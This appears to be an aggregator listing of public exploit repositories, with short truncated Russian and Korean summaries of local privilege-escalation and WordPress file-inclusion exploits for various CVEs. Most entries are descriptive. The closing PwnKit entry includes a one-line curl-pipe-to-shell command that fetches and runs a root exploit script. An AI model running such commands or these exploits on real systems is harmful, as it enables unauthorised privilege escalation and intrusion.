CVE-2022-37703

Предлагаемое описание В Amanda 3.5.1 обнаружена уязвимость раскрытия информации в SUID-бинарнике calcsize. Злоумышленник может воспользоваться уязвимостью, чтобы узнать, существует ли каталог в любом месте файловой системы. Бинарник использует opendir напрямую от имени root без проверки пути,...

CVE-2026-9147-uproot-rce

CVE-2026-9147: TStreamerInfo 메타데이터를 통한 uproot 코드 주입 심각도: 높음, CVSS 4.0 8.5 , CVSS 3.1 7.8 CNA인 VulnCheck가 배정 벡터 v4.0: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 벡터 v3.1: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 영향: uproot = 5.7.4 수정 버전: 5.7.5 / 커밋 c045c28 CWE: CWE-94 코드 생성...

CVE-2023-52927

CVE-2023-52927 CVE-2023-52927용 LPE 익스플로잇 - netfilter의 Use-After-Free 취약점. 취약점에 대한 제 글: CVE-2023-52927 - 잊혀진 Syzkaller 리포트를 kCTF 익스플로잇으로 전환하기 재현기: KASAN 트리거 poc 빌드 의존성 설치: make prerequisites 익스플로잇 빌드: make exploit 대상 kCTF cos-109-17800.436.33 머신: 커널 이미지 bzImage:...

CVE-2021-22555

CVE-2021-22555 Linux Kernel 2.6.19 5.9 - 'Локальное повышение привилегий через Netfilter'...

CVE-2026-36213

CVE-2026-36213 CVE-2026-36213 | Повышение локальных привилегий в MEmu Android Emulator 9.2.7.0 через небезопасные разрешения двоичного файла службы | Исправлено в 9.3.2 CVE-2026-36213 — MEmu Android Emulator 9.2.7.0 LPE Краткое описание Уязвимость повышения локальных привилегий LPE в MEmu Android...

CVE-2025-2294

CVE-2025-2294 - WordPress Kubio AI Page Builder = 2.5.1 - Эксплойт Local File Inclusion LFI Обзор CVE-2025-2294 затрагивает плагин Kubio AI Page Builder для WordPress версии до 2.5.1 включительно. Он содержит уязвимость Local File Inclusion LFI без аутентификации через функцию...

Cartero

Cartero Cartero теперь представляет собой CLI на Go со встроенной рабочей областью без необходимости настройки, вместо старого runtime, зависимого от MongoDB. Текущая реализация предоставляет: отточенный терминальный интерфейс на базе Cobra и Lip Gloss локальный административный веб-интерфейс и...

metasploitable2-privilege-escalation

Task 05 — Privilege Escalation Zyroo Cybersecurity Internsh...

CVE-2025-2294

CVE-2025-2294 🚨 CVE-2025-2294 - Уязвимость локального включения файлов LFI в плагине Kubio AI Page Builder для WordPress 🧱 🔍 Обзор CVE-2025-2294 — это критическая 🔥 уязвимость локального включения файлов LFI, затрагивающая плагин Kubio AI Page Builder для WordPress версии до 2.5.1 включительно. Э...

CVE-2025-4380

CVE-2025-4380 - Эксплойт Local File Inclusion LFI для плагина Ads Pro = 4.89 Описание Этот Python-эксплойт нацелен на плагин Ads Pro ≤ 4.89 для WordPress, уязвимый к Local File Inclusion LFI через AJAX-действие bsapreviewcallback. Неаутентифицированный злоумышленник может использовать эту...

CVE-2018-8120

CVE-2018-8120 CVE-2018-8120 Windows LPE эксплойт Поддерживается тестирование: Win7 x32, Win7 x64, Win2008 x32, Win2008 R2 x32, Win2008 R2 Datacenter x64, Win2008 Enterprise x64 WinXP x32, Win2003 x32, Win2003 x64 Исходный эксплойт не поддерживал XP, 2003, текущий код добавляет поддержку этих сист...

CVE-2023-2640-3262-PoC

CVE-2023-2640/3262-PoC Минимальные PoC для локального повышения привилегий в Ubuntu через OverlayFS. CVE CVE-2023-2640 – проблема обработки разрешений OverlayFS CVE-2023-3262 – проблема эскалации возможностей OverlayFS Файлы CVE-2023-2640.sh – базовый тест поведения OverlayFS CVE-2023-3262.sh – P...

CVE-2022-0185-POC

CVE-2022-0185 — Доказательство концепции Эксплойт доказательства концепции для CVE-2022-0185 , переполнения буфера в куче в функции legacyparseparam ядра Linux fs/fscontext.c. Это позволяет локальному непривилегированному пользователю повысить привилегии до root. Оригинальный эксплойт от Crusader...

CdpSvcLPE

CdpSvcLPE CdpSvc 서비스를 통한 Windows 로컬 권한 상승 쓰기 가능한 SYSTEM 경로 DLL 하이재킹 간단한 설명: Connected Devices Platform Service또는 CDPSvc는 NT AUTHORITY\LOCAL SERVICE 권한으로 실행되는 서비스로, 시작 시 절대 경로를 지정하지 않은 채 LoadLibrary 호출로 누락된 cdpsgshims.dll DLL을 로드하려고 시도합니다. 따라서 DLL 검색 순서Dll Search Order 흐름의 폴더에서 DLL을 하이재킹할 수 있으며,...

AutoPwn-Titanic.htb

Titanic AutoPWN - машина HTB Это автоматизированный скрипт эксплуатации для машины Hack The Box Titanic. Полноценный скрипт автоматизации эксплуатации для Linux-машины Titanic HTB на Hack The Box. Полный разбор - WriteUp.md 📋 Описание Он выполняет следующие действия: Этап 1: Получить и разобрать...

KDE_Vuln

Мысли об уязвимости KDE vFAT. 1: Масштаб не так велик, как я сначала представлял. Большинство систем, вероятно, обновлены до более новых версий KDE или используют другой графический интерфейс. Мне нужно было бы посмотреть на реальную статистику, чтобы получить точное число, хотя. Получение...

Exploit for Improper Validation of Consistency within Input in Linux Linux_Kernel

copyfail-check !CIhttps://github.com/ledlight33/copyfail-...

CVE-2018-7422

CVE-2018-12613 Уязвимость локального включения файлов из-за отсутствия санитизации пользовательского ввода. Затронутое ПО 1. Плагин Wordpress: Site-Editor v.1.1.1; Как использовать Этот PowerShell скрипт требует два параметра для создания HTTP-запроса эксплойта: 1. Конечная точка URL Wordpress 2...

CVE-2026-20516

CVE-2026-20516: Android TV의 MiracastService confused deputy Davide Di Matteo @Dingo97의 연구 및 공개. 이것은 제가 처음으로 이름을 올린 CVE입니다. PEAQ Android TV를 연구하던 중 부적절하게 export된 시스템 권한 Miracast 서비스를 발견했습니다. 호출자는 intent extra를 제공하여 서비스가 자체 권한을 사용해 Wi-Fi Direct 상태를 변경하도록 만들 수 있습니다. MediaTek은 이 문제를 2026년 9월 보안 공지에...

PwnKit_CVE-2021-4034

PwnKit Автономный эксплойт для CVE-2021-4034 - локальное повышение привилегий Pkexec Использование Должен работать сразу на уязвимых дистрибутивах Linux на базе Ubuntu, Debian, Fedora и CentOS. sh -c "$curl -fsSL https://raw.githubusercontent.com/b1gn0se/PwnKitCVE-2021-4034/main/PwnKit.sh" Вручну...